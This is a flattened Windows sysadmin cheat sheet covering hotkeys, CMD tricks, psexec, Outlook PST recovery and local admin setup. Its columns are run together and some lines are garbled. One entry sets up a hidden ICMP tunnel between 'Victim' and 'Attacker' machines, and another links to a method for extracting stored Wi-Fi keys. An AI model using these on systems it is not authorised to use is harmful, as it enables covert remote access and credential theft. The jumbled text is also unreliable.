

Networking	Processes	Find Outlook PST Files (cont)	Hotkeys
Extract Wifi Keys https://www.purehacking.com/blog/vit/nikolenko/extracting-wireless-wep/wpa2-preshared-keys/passwords-from-windows-7	fport (to list pids, ports, protocols, exe) netstat -a netstat -a (icmppsrv should not show) netstat -a (icmppsrv should not show)	Copy and paste the HEX part (0000...) converter and it will show you the pst file location in plain-text. Note: Sometimes the first 2 instances just show the exchange data. If that's the case just move onto the next HEX instance	WINKEY+R (Run) 100 5E... ALT+F4 OR CTRL+SPACE ALT+Y (Hit Yes)
ICMP Tunneling icmppsrv & icmppsnd icmppsrv --install (on Victim) netstat -a (icmppsrv should not show) icmppsnd 192.16 8.1.8 (on Attacker, to connect to Victim) Capture with Wireshark for more info	CMD Tricks WINKEY+R, cmd /K dir (run dir in cmd) WINKEY+R, cmd /C tree C:\ (run tree in cmd) WINKEY+R, cmd /C " start /MIN explorer /x.x.x.x -u DOMAIN \x.x.x.x " WINKEY+R, powershell Start-Process -Verb runAs (open cmd prompt as admin, hit ALT+Y to approve) start . (open windows explorer in current dir) start /MIN . (open explorer minimized)	Psexec - Execute commands remotely psexec \x.x.x.x -u DOMAIN user /r "cmd /c dir" psexec \x.x.x.x -u DOMAIN user /r "cmd /c dir"	Files & Directories tree c:\ (view in tree format)
Hosts File https://www.petri.com/easily-edit-hosts-file-windows-10 Copy from C:\Windows\System32\Drivers\etc to desktop then edit and copy back Open URL from CMD without the Browser http://stackoverflow.com/questions/2734/open-a-url-without-using-a-browser-from-a-batch-file	Find Outlook PST Files If user has removed their pst files from outlook and has forgotten where they are located you can find them by editing the xml file below in notepad: C:\Documents and Settings\user\id.xml k\user id.xml Then look for instances of something like: <eidstore>00000000...6F74646E6800</eidstore>	Giving Local Admin Add a Domain Admin account Right click on 'My Computer' -> Manage Right click on "Computer Management (Local)" -> "- Connect to another computer" Type in Computer Name -> Press OK System Tools -> Local Users and Groups -> Groups Double click on "Administrators" -> Add Click on Locations and then select their computer name DOMAIN\username -> Press Ok	Recover hard deleted items in Outlook Use "Hard Deleted Item" (SHIFT+DEL) and cannot recover it using 'Recover deleted items'. Full description = Microsoft KB246153. Steps 1. Close Outlook 2. Start Registry Editor (Regedit32.exe). 3. Locate and click the following key in the registry: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\ExchangeClient\Options 4. On the Edit menu, click Add Value, and then add the following registry value: Value name: DumpsterAlwaysOn Data type: DWORD Value data: 1 5. Quit Registry Editor. Start Outlook, click on folder (in folder view) which item was hard deleted from, select Recover Deleted Items from Tools menu and you should be able to recover items.
WMIC GPUPDATE Runas /user: DOMAIN \domain\user /no profile /cmd: wmic product list status gpupdate /force net user userid /domain
